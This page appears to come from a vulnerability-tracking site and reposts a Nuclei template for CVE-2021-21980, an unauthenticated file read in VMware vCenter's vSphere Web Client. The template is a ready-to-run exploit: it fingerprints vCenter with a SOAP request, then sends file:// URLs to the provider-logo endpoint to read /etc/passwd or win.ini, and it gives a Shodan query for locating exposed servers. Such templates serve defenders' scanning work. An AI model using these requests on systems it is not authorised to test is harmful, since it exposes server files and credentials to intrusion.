CVE-2021-21980: VMware vCenter Server - vSphere Web Client Arbitrary File Read

2026-11-29 PoC Public

Description

VMware vCenter Server 6.5 and 6.7 (and vCenter 7.0.2.00100) contain an unauthenticated arbitrary file read in the vSphere Web Client via the vcav-bootstrap provider-logo endpoint (VMSA-2021-0027). The 'url' parameter accepts a file:// URI whose contents are returned verbatim, letting a remote unauthenticated attacker read arbitrary files as the low-privileged vsphere-ui user. The endpoint is reachable through both the H5 client (/ui/) and the legacy Flex client (/vsphere-client/); this template first fingerprints VMware vCenter (productLineId "vpx") through the unauthenticated /sdk RetrieveServiceContent call, then reads /etc/passwd on the Linux appliance and C:\Windows\win.ini on Windows-based vCenter installs.

Details

CVE
CVE-2021-21980 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2021-21980

info:
  name: VMware vCenter Server - vSphere Web Client Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    VMware vCenter Server 6.5 and 6.7 (and vCenter 7.0.2.00100) contain an unauthenticated arbitrary file read in the vSphere Web Client via the vcav-bootstrap provider-logo endpoint (VMSA-2021-0027). The 'url' parameter accepts a file:// URI whose contents are returned verbatim, letting a remote unauthenticated attacker read arbitrary files as the low-privileged vsphere-ui user. The endpoint is reachable through both the H5 client (/ui/) and the legacy Flex client (/vsphere-client/); this template first fingerprints VMware vCenter (productLineId "vpx") through the unauthenticated /sdk RetrieveServiceContent call, then reads /etc/passwd on the Linux appliance and C:\Windows\win.ini on Windows-based vCenter installs.
  impact: |
    Attackers can access sensitive information stored on vCenter Server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Apply the latest security patches and updates provided by VMware for vSphere Web Client.
  reference:
    - https://github.com/l0ggg/VMware_vCenter
    - https://www.vmware.com/security/advisories/VMSA-2021-0027.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21980
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-21980
    epss-score: 0.0936
    epss-percentile: 0.96136
    cwe-id: CWE-22
  metadata:
    max-request: 5
    shodan-query: title:"vSphere Web Client"
  tags: cve,cve2021,vmware,vcenter,vsphere,lfi,file-read,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /sdk HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
           <soap:Body>
              <RetrieveServiceContent xmlns="urn:internalvim25">
                 <_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
              </RetrieveServiceContent>
           </soap:Body>
        </soap:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - "RetrieveServiceContentResponse"
          - "<productLineId>vpx</productLineId>"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "<fullName>([^<]+)</fullName>"

  - method: GET
    path:
      - "{{BaseURL}}/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file%3a///etc/passwd"
      - "{{BaseURL}}/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file%3a///c%3a/windows/win.ini"
      - "{{BaseURL}}/vsphere-client/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file%3a///etc/passwd"
      - "{{BaseURL}}/vsphere-client/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file%3a///c%3a/windows/win.ini"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:[x*!]?:0:0:'
          - '(?i)(\[fonts\]|\[extensions\]|\[mci extensions\]|for 16-bit app support)'
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bdb1f031f5cd09b40426175459c31f473971eba3103158dbb961d1d57f0c2b4f022100c48c87a2ae74fef732a93c981fa541231d2107d8be39767db547c3a1ea969cad:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life